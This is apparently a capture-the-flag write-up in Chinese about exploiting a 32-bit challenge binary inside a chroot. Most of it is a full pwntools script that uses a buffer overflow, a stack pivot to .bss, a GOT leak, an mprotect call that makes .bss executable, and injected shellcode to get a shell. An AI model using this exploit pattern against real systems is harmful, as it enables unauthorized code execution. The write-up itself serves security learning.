至今为止都是调用system(“/bin/sh”)的攻略方式

  • system()超甜
  • 接下来在chroot环境下运行level2
  • system()隐式调用”/bin/sh”
    • 调用system(command)时,内部是这样
      • execve(“/bin/sh”, &[“-c”, command, NULL], envp)
    • 这意味着,chroot环境下,调用system会失败
  • 需要一种没有system(),不访问/bin的攻略方式

两种可能方式:

  1. 使用C语言中存在的函数opendir和readdir获取文件名,之后使用open, read, write 来读取Flag
  2. 使用mprotect重写.bss的RWX权限,之后在该区域执行shellcode

int mprotect(const void *addr, size_t len, int prot);

mprotect的定义如上

mprotect()能够更改[addr, addr+len-1]地址范围的访问保护。addr必须与页面边界一致。

bss地址的开头是地址减去偏移量,即0x08049628-0x628

[25] .bss NOBITS 08049628 000628 000008 00 WA 0 0 4

exploit

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# preparing for exploitation

write_plt = 0x0804830c
read_plt = 0x0804832c
pop3ret = 0x80484b6
write_got = 0x8049614
read_got = 0x804961c
data = 0x08049620
system_offset = 0x0003d200
write_offset = 0x000e6d80
mprotect_offset = 0x000f4660
bss_addr = 0x08049628 + 0x300
bss_top_addr = 0x08049000
leave_ret = 0x080482ea

log.info('Pwning')

buf = 'A' * 136
buf += p32(bss_addr-4)
buf += p32(read_plt)
buf += p32(leave_ret)
buf += p32(0)
buf += p32(bss_addr)
buf += p32(80)

shellcode = asm(shellcraft.sh())

# write(STDOUT, got_write, 4)
buf2 = p32(write_plt) + p32(pop3ret) + p32(1) + p32(write_got) + p32(4)
# read(STDIN, bss+80, len(shellcode))
buf2 += p32(read_plt) + p32(pop3ret) + p32(0) +p32(bss_addr+80) + p32(len(shellcode))
# read(STDIN, got_write, 4)
buf2 += p32(read_plt) + p32(pop3ret) + p32(0) + p32(write_got) + p32(4)
# write(bss+80) # mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
buf2 += p32(write_plt) + p32(bss_addr+80) + p32(bss_top_addr) + p32(0x1000) + p32(7)

conn.send(buf)
conn.send(buf2)

ret = u32(conn.recv())
print('write@got: {}'.format(hex(ret)))
print('libc_start: {}'.format(hex(ret - write_offset)))
mprotect_addr = ret - write_offset + mprotect_offset
print('mprotect: {}'.format(hex(mprotect_addr)))

conn.send(shellcode)
conn.send(p32(mprotect_addr))
conn.interactive()